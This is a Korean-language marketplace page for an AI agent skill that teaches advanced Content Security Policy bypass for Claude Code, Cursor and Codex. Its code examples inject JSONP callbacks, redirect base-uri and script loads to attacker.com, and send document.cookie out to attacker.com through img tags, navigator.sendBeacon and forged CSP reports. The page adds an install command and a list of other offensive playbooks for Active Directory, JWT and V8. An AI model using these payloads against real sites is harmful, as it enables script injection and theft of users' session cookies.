Community라이팅 & 에디팅github.com

yaklang/csp-bypass-advanced

고급 Content Security Policy 우회 기법. XSS 또는 데이터 유출이 CSP에 의해 차단될 때, 정책 취약점, 신뢰할 수 있는 엔드포인트 남용, 논스 유출, 또는 CSP가 차단할 수 없는 유출 채널을 찾아야 할 때 사용합니다.

csp-bypass-advanced란 무엇인가요?

이 스킬은 자바스크립트 및 AI 에이전트 환경 (예: Claude Code, Cursor)에서 CSP(Content Security Policy)가 적용된 웹 애플리케이션의 보안 우회를 돕습니다. CSP 정책의 미비점(예: unsafe-inline, unsafe-eval, 신뢰할 수 없는 CDN 도메인), 논스 또는 해시의 노출, 리디렉션 기반 우회, JSONP 남용, 비콘과 오디오/비디오 태그를 통한 데이터 유출 등 다양한 고급 기법을 체계적으로 설명합니다. 각 기법은 실제 공격 시나리오와 코드 예제를 포함하며, 펜테스터나 보안 연구원이 CSP 제한을 우회하여 XSS를 실행하거나 민감 정보를 외부로 유출하는 데 활용할 수 있습니다. 또한, CSP 보고서 엔드포인트를 이용한 정보 수집과 같은 덜 알려진 기법도 다룹니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/csp-bypass-advanced

Installed? Explore more 라이팅 & 에디팅 skills: steipete/notion, langchain-ai/langchain, bytedance/podcast-generation · View all 6 →

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

미리보기

스킬 README에서

csp-bypass-advanced preview

문서

csp-bypass-advanced은(는) 무엇을 하나요?

고급 Content Security Policy 우회 기법. XSS 또는 데이터 유출이 CSP에 의해 차단될 때, 정책 취약점, 신뢰할 수 있는 엔드포인트 남용, 논스 유출, 또는 CSP가 차단할 수 없는 유출 채널을 찾아야 할 때 사용합니다.

개요

이 스킬은 CSP(Content Security Policy)가 적용된 환경에서 JavaScript 실행이나 데이터 유출을 우회하기 위한 고급 기술을 제공합니다. CSP는 웹 애플리케이션의 중요한 보안 계층이지만, 잘못 구성되거나 특정 기능과 결합될 때 우회될 수 있습니다.

지원 플랫폼

  • Claude Code
  • Cursor
  • Codex
  • 기타 AI 에이전트 환경

주요 기법

1. 신뢰할 수 있는 엔드포인트 남용

CSP가 특정 도메인을 신뢰하는 경우, 해당 도메인에서 제공하는 JSONP 엔드포인트나 JavaScript 파일을 악용할 수 있습니다.

// JSONP를 통한 우회 예시
<script src="https://trusted-cdn.example.com/jsonp?callback=alert(1)"></script>

2. 논스 또는 해시 유출

CSP가 nonce나 hash를 사용하는 경우, 이 값이 HTML 주석, 에러 메시지, 또는 헤더를 통해 유출될 수 있습니다.

<!-- 논스가 HTML에 포함된 경우 -->
<script nonce="abc123">console.log('legitimate')</script>
<script>fetch('/steal?nonce=' + document.querySelector('script').nonce)</script>

3. base-uri 조작

base-uri가 제한되지 않은 경우, 상대 경로 스크립트의 해석을 조작할 수 있습니다.

<base href="https://attacker.com/">
<script src="/legitimate-script.js"></script>

4. 리디렉션 기반 우회

신뢰할 수 있는 도메인이 리디렉션을 허용하는 경우, 악성 스크립트를 로드할 수 있습니다.

<script src="https://trusted-site.com/redirect?url=https://attacker.com/evil.js"></script>

5. 데이터 유출 채널

  • 이미지 태그: img 태그로 데이터 전송
  • 오디오/비디오 태그: audio 또는 video 태그로 데이터 전송
  • Beacon API: navigator.sendBeacon() 사용 (CSP가 connect-src를 느슨하게 설정한 경우)
  • CSS: CSS 선택자와 배경 이미지를 통한 데이터 유출
// 이미지 태그를 통한 데이터 유출
document.body.innerHTML += '<img src="https://attacker.com/exfil?data=' + encodeURIComponent(document.cookie) + '">';

// Beacon API를 통한 데이터 유출
navigator.sendBeacon('https://attacker.com/log', document.cookie);

6. 스크립트 정책 무시 기법

일부 브라우저나 확장 프로그램은 CSP를 무시할 수 있습니다. 예를 들어, 개발자 도구 콘솔에서는 CSP가 적용되지 않습니다.

7. CSP 보고서 엔드포인트 남용

CSP 보고서 엔드포인트가 공개되어 있는 경우, 보고서를 통해 정보를 유출할 수 있습니다.

// CSP 위반을 가장하여 데이터 전송
const violation = {
  'csp-report': {
    'document-uri': 'https://attacker.com/leak?' + document.cookie,
    'violated-directive': 'script-src',
    'effective-directive': 'script-src',
    'original-policy': '...',
    'blocked-uri': 'http://evil.com/',
    'source-file': '...',
    'line-no': 1,
    'column-no': 1
  }
};
new Image().src = '/csp-report?report=' + encodeURIComponent(JSON.stringify(violation));

공격 시나리오 예시

시나리오: 정책이 "script-src: www.google.com" 으로 제한된 경우

  1. www.google.com에서 JSONP 엔드포인트를 찾습니다.
  2. JSONP 콜백을 JavaScript 코드로 사용합니다.
  3. 악성 코드를 실행합니다.
<script src="https://www.google.com/complete/search?client=firefox&q=test&callback=alert(1)"></script>

주의사항

  • 이 스킬은 보안 연구 및 합법적인 펜테스팅 목적으로만 사용해야 합니다.
  • CSP는 여러 계층의 보안 중 하나일 뿐이며, 완벽한 보호를 제공하지 않습니다.
  • 최신 브라우저와 CSP 사양 변경에 따라 일부 기법이 작동하지 않을 수 있습니다.

참고 자료

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

관련 스킬